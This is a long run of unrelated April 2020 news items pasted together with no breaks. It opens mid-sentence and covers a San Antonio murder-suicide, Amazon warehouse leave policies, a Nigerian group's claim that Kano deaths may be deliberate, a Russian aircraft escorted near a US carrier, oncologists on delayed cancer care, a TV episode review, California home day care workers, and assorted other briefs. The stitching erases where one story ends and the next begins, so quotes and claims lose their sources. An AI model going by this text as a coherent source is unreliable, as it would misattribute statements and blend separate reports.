hydroxychloroquine may have been their last sense of security, protection and hope against this invisible enemy," she said. The number for the Physician Support Line is (888) 409-0141. If you or someone you know is in crisis, call the National Suicide Prevention Lifeline at 800-273-8255, text HOME to 741741 or visit SpeakingOfSuicide.com/resources for additional resources. SAN ANTONIO A San Antonio woman fatally shot her two children and her mother before shooting herself inside their North Side apartment complex, according to the San Antonio Police Department. On Monday morning, the father of the children called the police when he peered in through a crack in the blinds and saw the bodies in two different bedrooms, the San Antonio Express-News reported. He had been trying to contact his wife. According to the father, she had lost custody of the children very, very, very recently and this was the terrible end results of that, said Chief William McManus. Tragic beyond words. Two little children, a grandmother and a mother. The husband told police the woman had no history of violence. The chief noted police have dealt with instances of parents resorting to murder-suicide after losing custody of their children dismissing any link between the shooting and stress caused by the coronavirus pandemic. In the breakroom at an Amazon.com Inc. warehouse in Hazle Township, Pennsylvania, a PowerPoint presentation playing on repeat shows people in haz-mat suits making their way through the giant facility, spraying disinfectant. The video is followed by an explanation in English and Spanish. Nearby, televisions broadcast messages of thanks from employees and customers. So goes the new normal at the worlds largest online retailer. A vital lifeline for Americans sheltering at home during the coronavirus pandemic, Amazon is trying to limit the diseases spread within its workforce. At the same time, the company is waging a public-relations campaign to reassure the employees picking, packing and shipping products that its safe to show up even as some of their colleagues continue to get sick and others complain about working conditions. A test of Amazons progress arrives on Friday, when the company ends a pandemic perk of sorts that offered employees unlimited, unpaid time off no questions asked. Amazon last week told employees who had stayed home that they would have to start reporting for work or seek a formal leave of absence beginning May 1. In a sense, Amazons efforts echo whats happening at the state level, where some governors are trying to get people back to work without worsening the pandemic. Amazon hasnt said how many of its workers took unpaid time off. But in interviews, dozens of employees at warehouses around the country suggest a significant portion of their colleagues have stopped coming or dropped shifts. Those workers, many of whom rely on Amazon for health benefits, now face the choice of applying for an extended unpaid leave or testing Amazons new safety procedures firsthand. Employees who feel they cant return because theyre looking after school-age children or have health problems, worry that they could be replaced by the tens of thousands of new people Amazon has hired in recent weeks. One worker at the Pennsylvania warehouse where the disinfecting team video plays on a loop said she stopped going to work briefly after an outbreak of COVID-19 cases there began late last month. Shes since returned. I would have stayed home again if they didnt make the changes they have, she said. Still, the worker said that some of her colleagues remain skeptical and afraid. Amazon is providing flexibility with leave-of-absence options, including expanding the policy to cover COVID-19 circumstances, such as high-risk individuals or school closures, a spokeswoman said in an email. We continue to see heavy demand during this difficult time and the team is doing incredible work for our customers and the community. The company said it doesnt plan to cut people once the unlimited leave expires. The coronavirus first struck Amazons facilities in northern Italy in February. When cases began to spread across the U.S. in the following weeks, Amazon announced the offer of unpaid time off, as well as a temporary $2-an-hour raise. While these measures were welcomed by many workers, they said the viruss spread and a sometimes haphazard rollout of social-distancing measures amplified a prevailing distrust of management in many warehouses. When cases were reported at a returns facility in Shepherdsville, Kentucky, last month, one employee said she expressed concerns to human resources that the companys cleaning measures were inadequate. The on-site manager referred questions to a corporate call centre, where an employee read a script back to her about enhanced cleaning. A follow-up note to the buildings top manager wasnt returned. The woman, who said she was then bringing her own hand sanitizer to work, started taking unpaid time off. She has applied for COVID-19 leave to care for young children and hasnt heard back. Kentucky, which hasnt set a date for reopening schools or day-care centers, had one of its worst days for new COVID-19 cases on Friday, the same day Amazon announced the end of the unpaid time-off policy. Amazon has unquestionably made its warehouses safer, according to workers around the country. Metal detectors set up to deter theft have been turned off, since employees tend to bunch up waiting to go through. Cleaning supplies are more abundant; in places where its still hard to find these products in local stores, bottles of disinfectant and hand sanitizer are tied to breakroom tables. Packaging stations have been spread out. When unloading trailers or lifting heavy items, two-person teams have been split up. And in hundreds of facilities, the company has hired contractors to spray the same disinfecting fog used by hospitals and airlines. Since March, employees have been able to bring cellphones onto the floor ostensibly for emergency calls. Some workers once bristled when admonished for bringing soft drinks to their workstations or clocking in a minute late after breaks; now they said theyre being lectured about proper face mask technique or passing someone too closely in a hallway. Despite the new safety measures, many workers have chosen to cut shifts short or take a spontaneous half-day, complicating Amazons effort to ensure there are enough people to meet demand. As absenteeism reached 50 per cent in some warehouses, according to people briefed on attendance data, Amazon went on a hiring binge. On April 13, the company reached its goal of recruiting 100,000 people and said it was looking for an additional 75,000. Workers said those reinforcements are largely responsible for keeping operations going amid the pandemic. Amazon said the new hires have been brought on to meet increased demand. Employees at warehouses in South Carolina and Michigan estimated temps and new hires outnumber veterans by 10 to one on some teams. We have full shifts in all departments, but its seasonal workers, said Jaylen Camp, who works at a facility in Romulus, Michigan, and earlier this month participated in a walkout calling for the warehouse to be closed for cleaning. Its all new people surrounding me daily, said another worker at a nearby facility, who, like most people who spoke for this story, requested anonymity to avoid retaliation from their employer. Sporadic protests continue at Amazon warehouses. The company has fired employees involved in walkouts or organizing in New York and Minnesota for what it says are violations of corporate policy. Several politicians have accused Amazon of retribution, and this week New Yorks attorney general announced an investigation into the firing of a Staten Island worker. The company has countered internal and external critics with employee testimonials and a PR campaign. Workers who took unpaid time off have received emails listing cleaning practices and inviting them to return to work. Social-media sites have been blanketed with Amazon advertisements thanking workers for their bravery and showing them wearing protective gear. Amazon chief executive officer Jeff Bezos, wearing a mask and trailed by a camera, swung through a Dallas-area warehouse. Some employees wonder how Amazon will safely accommodate returnees in buildings rearranged to separate workstations and keep people from congregating. Others said they will have a hard time returning because they have kids at home. The company said both full-time and part-time employees are eligible for COVID-19-related leave, either to care for children home from school, or because of health issue they or household members face. Those who want to avoid a penalty for missing shifts had to apply by Wednesday, Amazon told workers. (Amazon has promised two weeks of sick pay for employees who actually catch the disease). The rollout of the new leave policy has had some challenges. One part-time employee, who applied to take May off to avoid exposing elderly parents, was quickly denied by human resources, which told the person, incorrectly, that part-time employees werent eligible. An Amazon spokeswoman later said the decision had been reversed. Other employees plan to return to work. One worker at a warehouse in Connecticut, who decided to work part-time as cases spread nearby, said she cant afford to lose the paycheck. Everyone thinks its just about sick people staying home, but its more than that, she said. My kids arent in school. The unpaid time basically meant that Ive had a flexible schedule which has allowed me to do what I need to for my girls. Read more about: Photo: Paul Deetman/Pexels Here's what you need to know about what's happening in Los Angeles. Businesses file suit against governor, claim stay-at-home orders violate state constitution Read the full story on CBS Los Angeles. LA County confirms 440 new coronavirus cases, 18 deaths Read the full story on CBS Los Angeles. No surprise, but film/TV production in LA has disappeared Read the full story on LAist. Police seek man caught on video shooting at occupied Palms apartment Read the full story on KTLA 5 News. Dozens of oil tankers wait off California's coast as the pandemic dents demand Read the full story on NPR. This story was created automatically using data about news stories on social media from CrowdTangle, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. Some small business owners fed up with how Safer-At-Home orders are impacting them financially have filed a lawsuit against California Gov. Gavin Newsom, among other officials. The countys total stands at 19,528 cases and 913 deaths. By some estimates, at least 120,000 Hollywood crew members have lost their jobs, and more than 100,000 actors are out of work. Los Angeles police are asking for the public's help finding a man who was caught on video shooting at an occupied Palms apartment earlier this month. The Muslim Rights Concern (MURIC) says the recent deaths in Kano, may be a deliberate attempt at decimating the population of Muslims in Nigeria. There have been serious concerns about the mysterious deaths in the predominantly Muslim northern state for the past one week amid COVID-19 pandemic. In a statement on Monday, MURIC Director, Ishaq Akintola, decried the spike in unusual deaths, while warning of a threat to the majority status Nigerian Muslims enjoy in the area of demography. More disturbing is the rumour that the National Centre for Disease Control (NCDC) in the state has locked up its offices and its officials are not responding to distress calls, the MURIC director said. The only testing centre in Kano which is situated at the Aminu Kano Teaching Hospital has also been allegedly locked up. So where did NCDC get its figure on Kano? Something is fishy here. We are surprised that testing centres are almost nonexistent in the North. Is this a deliberate attempt at debilitating Northern population with its attendant impact on the Muslim majority population in the country? We, therefore, demand an inquiry into circumstances surrounding the alleged closure of NCDC office in Kano State as well as the paucity of testing centres in the whole North. Nigerian Muslims are currently enjoying a majority status in the area of demography. We must avoid anything capable of decimating our population. Read Also: Kano Govt Commences Verbal Autopsy Over Mysterious Deaths We urge Kano citizens to strictly obey rules set by health officials, particularly social distancing, washing hands regularly with soap, using sanitizers and staying at home. You must break the cycle of this killer virus. Above all, the government must be vicious to be triumphant. Violators of lockdown rules must be dealt with according to the law while the lockdown on Kano must not be lifted until the rate of death slows down to a reasonable level. Russian aircraft were escorted to a safe distance by the American fighters The anti-submarine aircraft flew within 30km of an American aircraft carrier This is the moment a pair of US fighter jets accompany a Russian warplane flying close to an American aircraft carrier in the Pacific region. The incident occurred when a Russian Pacific Fleet anti-submarine aircraft IL-38 flew within 30 kilometres or 18.6 miles of the George Washington aircraft carrier reportedly undetected on April 26. After the Russian aircraft was detected three US jets, two supersonic F/A-18 Hornet fighters and an F-15 tactical fighter were scrambled to escort it to a safe distance. This is the moment a pair of US fighter jets fly alongside a Russian warplane flying close to an American aircraft carrier After the Russian aircraft was detected three US jets, two supersonic F/A-18 Hornet fighters and an F-15 tactical fighter were scrambled to escort it to a safe distance In the video, one of the American jets can be seen flying alongside the Russian aircraft before they pass the George Washington aircraft carrier at a close distance. The jet appears to be heavily armed while the end of the clip shows another of the American aircraft flying on the other side of the Russian aircraft. According to reports, the Russian anti-submarine aircraft was escorted to a safe distance after which the American fighters returned back to the George Washington aircraft carrier. The unnamed Russian pilot said: 'I emphasise that the Americans behaved with dignity, did not climb under the propellers and didn't make any indecent gestures.' Ilyushin Il-38 'Dolphin', a Russian patrol aircraft. According to reports, the Russian anti-submarine aircraft was escorted to a safe distance The Ilyushin Il-38 'Dolphin' is a maritime patrol aircraft and anti-submarine warfare aircraft designed in the Soviet Union. The McDonnell Douglas F/A-18 Hornet is a twin-engine, supersonic combat jet, designed as both a fighter and attack aircraft. The McDonnell Douglas F-15 Eagle is a twin-engine, tactical fighter aircraft which entered service in 1976. It comes over a week after a Russian fighter jet on Sunday, April 19 intercepted an American Navy spy plane in international airspace over the Mediterranean Sea for the second time in four days, the United States military said. The US Navy released a brief, seven-second video clip showing a Russian SU-35 fighter plane fly within 25 feet in front of a P-8A Poseidon aircraft a maneuver that the Pentagon said was 'unsafe and unprofessional.' The Russian IL-38 'Dolphin' managed to 'sneak up' on the US aircraft carrier The American military said that the Russian pilot twice intercepted the US Navy aircraft 'over a period of 100 minutes.' 'The first intercept was deemed safe and professional,' according to a statement from the US Navy's Sixth Fleet. 'The second intercept was determined to be unsafe and unprofessional due to the SU-35 conducting a high-speed, high-powered maneuver that decreased aircraft separation to within 25 feet, directly in front of the P-8A exposing the US aircraft to wake turbulence and jet exhaust.' How SOAR Is Transforming Threat Intelligence Businesses are using endpoint prevention and response (EPR) to detect, prevent, analyze and respond to targeted attacks such as advanced persistent threats (APTs). In this AV Comparatives report, study a comparison of 9 different EPR platforms and examine whether they took an active or passive response to threats. WASHINGTON At a March visit with doctors and researchers at the Centers for Disease Control and Prevention, the public health agency at the heart of the fight against the coronavirus, President Trump spoke words of praise for the scientific acumen in the building particularly his own. Every one of these doctors said, How do you know so much about this? Maybe I have a natural ability, Mr. Trump said. It was a striking boast, even amid a grave health crisis in which Mr. Trump has repeatedly contradicted medical experts in favor of his own judgment. But a disregard for scientific advice has been a defining characteristic of Mr. Trumps administration. As the nation confronts one of its worst public health disasters in generations, a moment that demands a leader willing to marshal the full might of the American scientific establishment, the White House is occupied by a president whose administration, critics say, has diminished the conclusions of scientists in formulating policy, who personally harbors a suspicion of expert knowledge, and who often puts his political instincts ahead of the facts. With people fearing about visits to hospitals amid the coronavirus outbreak, delayed diagnosis of cancer and its stage migration could be a fallout of the current crisis, according to senior oncologists. Follow latest updates on the COVID-19 pandemic here While many medical treatments can be put off amid the COVID-19 crisis, "cancer does not wait", oncologists feel. Cancer treatment in times of coronavirus has been challenging as the pandemic is impacting both cancer diagnostics and treatment, with doctors having to balance risks versus benefits on a daily basis. Dr Bhawna Sirohi, director of Medical Oncology at Max Healthcare, said cancer is "not going to wait" and the threat from it is "now and real". "I feel patients, scared because of COVID-19, are not coming to hospitals and that is pushing them from early cancer to late stages," she told PTI. Sirohi urged patients not to be scared to come to hospitals and if they have a warning sign like a lump, they should not delay treatment. She said she recently had a patient who ignored symptoms for three weeks and delayed consulting a doctor, but was later detected with cancer. COVID-19 is here to stay and one just has to get used to the precautions and make it a new normal, she said. "Stage 1 and 2 (of cancer) can become 3 and 4, it can become incurable, if you don't act upon it," Sirohi said. Talking about cancer treatment in times of COVID-19, she said a balance has to be maintained between risks and benefits. Also Read: Coronavirus India update: State-wise total number of confirmed cases, deaths "If the benefit is very small then one should avoid chemotherapy. But if you have a patient with lymphoma or blood cancer then the cure rates are very high, so you would want to go for the benefits," she said. Dr Akshay Tiwari, Associate Director and Head, Musculoskeletal Oncology, Max Healthcare, said as a bone cancer surgeon he is facing challenges at multiple levels. Patients are finding it very difficult to travel and even those who have the wherewithal to travel, are scared of coming to the hospital for the fear of contracting coronavirus, he said. This means that patients who should have been seeking treatment are not doing so and that would lead to stage migration of cancer, Tiwari said. "Some cases may even become incurable because of the delay. We are fearing this as patients are not coming to us. Similar fears have been voiced by cancer specialists across the world," he told PTI. The message should go to the public that cancer does not wait and it is even deadlier than COVID-19, the senior oncologist said. "Diagnosis may also be delayed and that is what is unfortunate. The message needs to go out that we should not ignore symptoms which are remotely linked to cancer for example a lump or swelling," he said. Dr Rajender Kumar, Additional Director and Head of Oncology at Fortis Hospital, Shalimar Bagh, said the COVID-19 crisis is definitely posing a challenge to cancer treatment as many patients with malignancy in the head and neck area or having lung cancer have symptoms similar to COVID-19. "We are using all the precautions and the staff is using PPEs as cancer treatment is essential," he told PTI. Asked whether the COVID-19 pandemic can lead to delayed cancer diagnosis, Kumar said patients are coming to his hospital and their numbers have not decreased, but it is a possibility as most of the routine clinics and hospitals are shut down and people are not going to their doctors. "We don't have data on it, but it can happen," Kumar said. Dr Niranjan Naik, Director, Surgical Oncology, Fortis Memorial Research Institute, Gurgaon, said the COVID-19 crisis is posing a challenge as patients with low immunity are at a higher risk of contracting the virus. He said the key aspect while making decisions is the cancer doubling time which is different for different cancers, with blood cancer being very aggressive as compared with breast cancer. "Whenever any symptoms emerge, one should get proper medical investigations done even in the present times as cancer will not wait," Naik told PTI. The oncologists insisted that technology must be used to reach out for medical advice and any symptom must be reported through a video conference appointment or an online OPD. As the nation fights one of its biggest health battles against COVID-19 pandemic, there are many individual battles being fought by bravehearts, both doctors and patients, to emerge victorious against other life-threatening diseases. Mumbai: The Shiv Sena on Tuesday (April 28) criticised the policies of the Centre and Prime Minister Narendra Modi in tackling the coronavirus COVID-10 crisis and demanded that the government declare a financial package from 10 per cent of the country's GDP to deal with the situation. In its mouthpiece Saamna, Shiv Sena cited NCP chief Sharad Pawar's letter to Prime Minister Narendra Modi in which the leader sought financial package for Maharashtra and said that the Centre should take financial guardianship of states at this hour. The article read, "Centre cannot sustain its kingship by slashing financial packages of states. India is a union of states. Every state has it's own economic and it is the responsibility of the Prime Minister to strengthen it. If the financial package of states is disturbed, it would mean breaking the country. A state like Maharashtra is the economic backbone of the country and this has recently been highlighted by NCP chief Sharad Pawar." The editorial said, "A rich state like Maharashtra alone contributes Rs 2.25 lakh crore as taxes to the Centre. But due to the lockdown, the state will incur a loss of Rs 1.40 lakh crore and has come under heavy financial burden. Hence, the union government should take a loan and distribute it to the state instead of the states left to borrow." The article further stated, "The Prime Minister should hold discussions with state Finance Ministers. The state government will have to also spend on the health sector, medical services and education. In such a situation, where will states like Bihar, Assam, Jharkhand, Uttar Pradesh and Odisha stand?" Urging Prime Minister Narendra Modi to come forward and help all states, the Shiv Sena said, "The Centre should declare a package for states from 10 per cent of the country`s gross domestic product (GDP) as several western countries have done." On April 25, NCP's Sharad Pawar had written a letter to PM Modi drawing the attention to economic indicators and strategy to overcome the crisis faced by Maharashtra. He had suggested that the Centre should extend the National Small Savings Fund Loan (NSSF) repayment by two years and additional grants of Rs 1 lakh crore should be given to the state for the FY 2020-21. Like many children of immigrants, Devi exists in multiple worlds. The pilot establishes that there are places where she and her parents diverge: They keep vegetarian while she guzzles ribs. In this episode, taking place almost entirely at Ganesh puja, Devi begrudgingly lets Kamala wrap a sari around her and dress her up for the festivities. In some contexts, Devi feels like shes not Indian enough; in others, she feels like shes too Indian. Thats a pretty common first-gen angst, and the episode looks at the underpinnings of both feelings with humor and depth. Devis internalized issues about her own Indianness are on full display, challenged by her friend Preeti and another friend who is home on break from Stanford. Devi tries to bond with them over rolling eyes at her own culture, but they arent having it. Bollywood dance is cool not dorky, Preeti argues. And her other friend shares a story about how he confronted his own internalized anti-Indian thoughts after meeting someone at college who not only continued his own cultural traditions but embraced and was proud of them. Devi doesnt really seem to have Indian friends at school, and she likely feels like shes always having to explain her culture and heritage. In fact, we see her do exactly that when Paxton runs into her after swim practice and asks why shes wearing a sari. Shes embarrassed and rushes a lengthy explanation, and even though Paxton is receptive to it, interactions like these compound that embarrassment. Devi carries shame, and shes too quick to draw lines between herself and someone like Kamala. Why do I think its so weird and embarrassing to be Indian? Devis friend asks, his introspection briefly stirring something in her. Devis not quite ready to deal with all that, but thats pretty par for the course for this character. She runs from feelings instead of sitting with them. Outside of the bubble of her Indian community, though, Devis Indianness is indeed held against her. Nalini tasks Devi with wooing someone at Ganesh puja who happens to be a college-admissions counselor who helps get kids into Ivys. Hes white and married an Indian woman, making him a little too comfortable with considering himself a part of the community, which feels very realistic. He basically tells Devi she wont get into an Ivy because shes just another hardworking Indian kid. Then when he remembers who she is, he insists she should write about the greatest trauma of her life, which he reduces to a single sentence. Devi refuses to mine her life for inspiring content. What happened with her father isnt an essay; its something so deeply traumatizing shes barely even begun to process it. Grief also forces people to split time between worlds. Every time Nalini and Devi flash back to Mohan, they are transported somewhere else. Grief splits the self, often complicating a sense of identity. Devi has always had trouble with praying, and when she does do it, its usually for frivolous things like bigger boobs or a kiss from Paxton. But here, her mind settles on a simple, sweet scene of playing ping-pong with her father. Never Have I Ever deals with discomfort in humorous but incisive ways. Devi constantly puts up with seemingly harmless but ultimately insidious comments from white people. We saw it last episode in Trents mother, who assumed Devi might know her brow technician but also couldnt name her. And we see it again here, when a little girl tugs Devis sari and asks if shes Jasmine and then the mother makes it even worse by asking Devi to pose with her daughter for a picture for her Instagram since she looks so cultural. Devis so used to interactions like this that she almost seems bored by them. Theres also the discomfort with which people talk to Nalini and Devi about their loss. Grief for the people experiencing it feels devastating and seismic, but for people on the outside, particularly people not affected themselves, grief becomes a spectacle. Its something to gaze at and gossip about. The aunties at Ganesh puja make Nalinis grief about themselves, either comparing their own trivial experiences (one woman brings up her husbands testicular cancer, which was caught before anything bad could really happen) or selfishly inserting themselves (one auntie touts her own virtue and prayer as a reason for why Devi recovered, and another offers up a connection for a discount wheelchair, should Devi need one again). Nalini grins and bears it, little glimpses at where Devis anger issues might come from flaring up here and there. Never Have I Ever teases out some of the dual-edged nature of community, which can provide comfort and closeness but can also be toxic and suffocating. Even Nalinis grief does not feel entirely hers. And Devis experiences are exploited by the college counselor when he suggests she use them to get into Princeton. Its in these gray areas and in-between spaces that Never Have I Ever really thrives. Kamalas arc, still centered on her conflict over choosing her boyfriend Steve or her arranged engagement to Prashant, gets a little reduced in this episode. Theres a little left to be desired in her connection with Jaya, a woman who is ostracized by the community because she left a marital arrangement in order to marry her American and Muslim boyfriend. Her marriage didnt work out, and now Jaya feels like she severed ties with her family for nothing. But there ends up being a ton to unpack here, including the internal prejudices of this Hindu community Devis family belongs to, that barely gets touched. Jaya is a compelling character, but shes used too swiftly, merely a cog in Kamalas arc. This episode brings up a lot of complicated stuff, but then doesnt quite know what to do with it all. Gabriella Cisneros looks after 14 children at her home day care outside San Diego and is down to her last bottle of Clorox wipes. A private childcare operator, she has a few rolls of paper towels and a little hand sanitizer left, but she doesnt know how long those will last so that she can keep the kids, and her livelihood, safe. Its the latest concern for these crucial workers who make sure grocery store employees, EMTs, nurses, doctors, police officers and others on the front line can work and know their children are safe. But Cisneros, 38, said dwindling resources and a lack of health insurance is putting independent day care workers at risk all while they have had to delay organizing a union through the American Federation of State, County and Municipal Employees because of disruptions from the coronavirus pandemic. Cisneros is one of more than 40,000 workers in California who operate day care centers in their homes licensed by the state, taking care of kids whose fees are subsidized and others whose parents pay privately. Though more than 10,000 workers have shown their support for the unionization movement, the election slated to be held this month has now been put off indefinitely. CCCPU_bill_signing (Robert Durell / American Federation of State, County and Municipal Employees) That means these workers are as far away as ever from being able to get the support and health care coverage theyve sought for years. In the meantime, even the day to day presents a struggle. Cisneros said tracking down cleaning supplies and even buying bulk food for the kids she cares for has been nearly impossible. She said that Costco denied her request for private child care operators to be able to shop during the special hour for essential workers. Shes tried Instacart, setting alarms at all hours of the day to try to be able to find a window in which she can make a purchase all to no avail. Trying to maintain everything sanitized, clean and safe for everyone involved has been a huge challenge and even scary, Cisneros said. Its really difficult to get out there and replenish because stuff isnt available. By the time we get done here we close our doors at 5 oclock theres nothing left on the shelves. Story continues News The Coronavirus Aid, Relief and Economic Security Act, the $2 trillion bill signed by President Donald Trump, provided no direct relief to child care workers. The report found that only 11 percent of providers said they could remain open after closure without some support. Miriam Edwards, who runs a day care out of her home in Sacramento, suffers from an autoimmune disease. Her daughter has asthma, which means contracting the coronavirus is a particular threat to them both, but they still must hunt for supplies the best they can to keep their doors open. Were normally used to going to maybe two or three stores, but now Im happy if I go to five or six to find everything I need, Edwards said. And while money tends to always be tight for child care workers, as spelled out by the NAEYC report, Edwards said that she refuses to let in children even with the slightest of colds, telling parents that they cannot come inside. Edwards said she is trying to protect herself as well as the other children and their parents, many of whom are essential workers from nurses to police officers. I let them know if a kid comes in with a runny nose, slight cough, whatever: Theyre going to be sent straight home, she said. "And they cant come back even if I know they have allergies until I have a doctors clearance from the parents. Not only is it for the safety of the other children, that policy is also for the safety of the workers who have limited access to health insurance. While Edwards has coverage now through her husband, shes gone through periods without it, amassing bills for medical tests related to her conditions that have left her with thousands of dollars of debt. The workers hoped that the union would provide better and more reliable health insurance when California Gov. Gavin Newsom signed a law in October allowing them to organize under the state. But that was before the pandemic, which has taken a huge economic toll on California. A lot of things are now in question, and in the last recession we saw significant cuts in child care programs, Ken Jacobs, chair of the University of California, Berkeley, Labor Center said. But workers having an organization will make them a stronger force as the state determines which direction to go in. CSSJ_survivors_sacramento (Robert Durell / American Federation of State, County and Municipal Employees) Jacobs said the willingness to expand health care benefits through state programs will shrink as the states budget gets tighter. Overall, the state budget crisis will make everything more difficult, he said. Weve got a big downturn coming. Still, the appeal by child care workers in California has been met with some success: Newsom announced that the state would pledge $50 million in funding for cleaning supplies for child care providers, offering reimbursements for purchases of gloves, face coverings, cleaning supplies and other cleaning costs. Though many were happy to hear that news, workers said one of the greatest challenges is still acquiring the supplies. For me this moment is stressful, and I know the doctors tell me, Dont stress because thats the worst thing for your autoimmune disease, Edwards said. But thats the hardest thing to do is not to stress right now. Cisneros has lost five families from her practice, largely restaurant workers who have been laid off and can no longer afford to put their kids in child care. I've sat back and, in ways, considered: Should I just close my doors?" she said. "But then it's hard. It's hard to say I'm going to close my doors on all these families that still need me. California Gov. Gavin Newsom acknowledged in a Tuesday press conference that the state's kids are suffering from learning loss due to the closure of schools to stop the spread of coronavirus. In a discussion about reopening schools, he said, "We are considering the prospect of an even earlier school year into the fall as early as late July or early August. We might want to consider getting that school year moved up a bit." Newsom confirmed this is an idea under consideration and not definite. "Thats one of the things we want to begin to socialize," Newsom said. In past briefings, Newsom has talked about how schools will need to operate under new guidelines to promote social distancing. Schools could stagger arrival times of students to enforce physical distancing. In the new framework, schools will also be looking for ways to reduce large gathering of students at assemblies, lunch and recess. "We need to start to prepare for the physical changes in the schools," Newsom said. "Our kids have lost a lot with this disruptions," he added. "My wife and I have four kids. I'm not naive." Over the past few weeks, Newsom has begun to detail a roadmap for how the state will reopen businesses, schools and childcare facilities with a "phased and thoughtful approach" that will support social distancing and prevent the spread of the coronavirus. He hasn't provided a definitive date, but said Tuesday the state will relax the shelter-in-place order in "coming weeks not months" if the spread of the coronavirus continues to decline. Amy Graff is a digital editor with SFGATE. Email her: agraff@sfgate.com. Algeria on Monday announced extending the lockdown measure until May 14, as infections with COVID-19 have been increasing, APS news agency reported, Trend reports citing Xinhua. "After approval from President Abdelmadjid Tebboune and after regular consultation with health experts on the development of the COVID-19 pandemic, Prime Minister Abdelaziz Djerad decided to extend the current lockdown system as well as all the other preventive measures, for an additional period of 15 days from April 30 to May 14," said a statement of the PM's Office, quoted by APS news agency. The government further urged citizens and merchants to strictly follow the preventive measures, including social distancing and hygiene rules. This is the second time the government has decided to extend the nationwide lockdown. Health authorities reported on Monday 135 new cases and seven new deaths in the past 24 hours from COVID-19, bringing the total infections to 3,517, and the death toll to 432. As many as 1,558 patents have recovered since the outbreak of the pandemic, official figures showed. This tree looks unremarkable but is, in fact, a record holder. It's a 30ft-tall 100-year-old pine a Sitka spruce - on Campbell Island, 500 miles from New Zealand's South Island, and has been recognised as the world's most remote tree by Guinness World Records. Its nearest companion is found 137 miles away on the Auckland Islands. Would you be-leaf it? The world's most remote tree - a Sitka spruce on Campbell Island. It is 137 miles away from any other tree As any self-respecting arboriculturist will know, Sitka spruces have no business being on Campbell Island, or indeed anywhere in the Southern Hemisphere, as they're native to the North American Pacific Coast (where they can grow to 300ft). How this one arrived has a slight air of mystery about it. It was originally thought to have been planted in 1901 by Lord Ranfurly, the governor of New Zealand, while he was on an expedition to collect bird specimens for the British Museum. It was reported that he planted the conifer in the hope of transforming the island into a place of 'productive forestry'. However, in 2017 scientists said that, given the tree's fast growth rate, it was likely to have been planted later, possibly post-1910. Instead of growing in a conventional cone shape, the conifer resembles a cauliflower The next slight mystery is why it's not managed to spread seeds via cones and reproduce. The consensus on this matter seems to be that the hacking of its central trunk by meteorological staff stationed on the island to make a Christmas tree, as Atlas Obscura reported and the harsh sub-Antarctic weather has left the tree in a permanently juvenile state. These two factors, it's thought, have also prevented the tree growing in a conventional cone shape. Instead, it resembles a cauliflower. A map showing the location of remote Campbell Island, which is 500 miles away from New Zealand's South Island In 2018, the tree was used by scientists to determine that the world entered a new geological epoch known as the Anthropocene in 1965. The Anthropocene is a term used to indicate when humans began to have a significant impact on the planet. The researchers were able to mark this new epoch because they found a spike of radiocarbon in its wood as a result of above-ground nuclear bomb tests, according to University College London. This spruce claimed the crown of loneliest in the world in 1973. Until then, the title belonged to the last tree of Tenere in the wastelands of Niger. The effects of desertification left the acacia the only tree for 250 miles. However, it was reportedly destroyed when a drunk driver crashed his vehicle straight into it. The remains are now housed in the National Museum of Niger. Prime Minister Nguyen Xuan Phuc emphasized that Vietnam has fundamentally pushed back the novel coronavirus disease epidemic while chairing a meeting on COVID-19 prevention and control on Tuesday afternoon. The government leader expressed his delight to see that the country has reported no new community transmisson for the past 12 consecutive days. With 270 cases among 100 million people, Vietnams ratio of infections per million inhabitants is among the lowest in the world, he said. As of Tuesday, the world has recorded more than three million COVID-19 cases in 212 countries and territories, including 211,609 deaths, according to the National Steering Committee for COVID-19 Prevention and Control. Of the figures, 40,766 cases and 1,447 deaths were reported in Southeast Asia, in which Singapore saw the highest number of cases (14,423) and Indonesia registered the largest number of deaths (765), said the committee. Vietnam has gone 12 successive days without new cases of community infection. Among its 270 patients, 222 have fully recovered from the disease while 48 are under treatment at eight hospitals. Three critical patients have made positive progress, of whom two have been weaned off ventilators and are now practicing breathing on their own. The steering committee also said five recovered patients testing positive for the coronavirus again are being monitored at health facilities. Recently, the National Institute of Hygiene and Epidemiology has collaborated with Nagasaki University of Japan to research and develop antibody test kits. The Ministry of Health is currently implementing procedures to recognize kits for mass production. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! The new leadership of the Ukrainian Health Ministry is focused on the maximum publicity of its work, and this concerns the creation of transparent procedures in the medical procurement system. Ukrainian Health Minister Maksym Stepanov said this at a meeting with British Ambassador to Ukraine Melinda Simmons, the ministry's press service reported. "We need to create the most transparent procurement system in Ukraine. I am a firm opponent to the Health Ministry conducting procurement. This should be a separate enterprise that should be involved only in procurement to make everything transparent and open," Stepanov said. According to him, Ukraine appreciates the assistance of international partners and the United Kingdom in the field of health. At the same time, Stepanov added, simultaneously with the fight against the coronavirus, the ministry is actively conducting an audit of the health care system, after which respective conclusions and recommendations will be made regarding the reform of medicine. Simmons, in turn, said that the UK supports Ukraine on its reform path and is ready to provide the necessary support if necessary. op Here are todays top news, analysis and opinion at this hour. Know all about the latest news and other news updates from Hindustan Times. On Muslim vegetable seller remark, Nadda warns BJP members against making irresponsible comments Bharatiya Janata Party (BJP) president JP Nadda has asked party members not to make irresponsible comments, a directive that came in the wake of an Uttar Pradesh legislators remarks on Muslim vegetable sellers. Read more here. Irrfan Khan admitted to ICU at Mumbais Kokilaben hospital Actor Irrfan Khan has been admitted to the ICU at the Kokilaben Dhirubhai Ambani Hospital in Mumbai, his representatives have said. The actor is currently under observation for a colon infection. Read more here. Shake a tree to win an iPhone 11 Pro on PUBG Mobile: Heres how PUBG Mobile is in its last week for Season 12 and the developers are making it memorable with some great rewards. You basically need to shake a tree to win, we arent even kidding. Read more here. WATCH| Anxiety and chaos mar Chandigarhs grain distribution with tokens A new tactic to ensure social distancing while distributing ration has been adopted in Chandigarh. The administration has started distributing food tokens to slum dwellers. Watch. Arnold Schwarzenegger celebrating his pet donkey Lulus birthday may be the best thing youll see on Twitter today The beloved action star and former Governor of California posted this almost one-minute-long video on Twitter on April 28. Read more here. Go back and bowl again as Im still here: How Sachin Tendulkar countered Glenn McGrath in 1999 Tendulkar sometimes tried to unsettle McGrath by taking the attack to him, McGrath a few times bowled only on side of the wicket to block Tendulkars famous flick shots. Read more here. Gearing up for a new world order with the changing hygiene protocol A pioneer in global water technology solution, Canadian Crystalline through its life sciences division has ventured into manufacturing ultra violet and ozone disinfection system for air and surface to meet the challenges of the ongoing global pandemic. This is Indias first manufacturing facility to produce disinfection systems for air, surface, enclosed spaces and fabrics with the brand name Silverstream. According to Sushil Eashwaran, joint managing director of the group, We have a history of manufacturing and 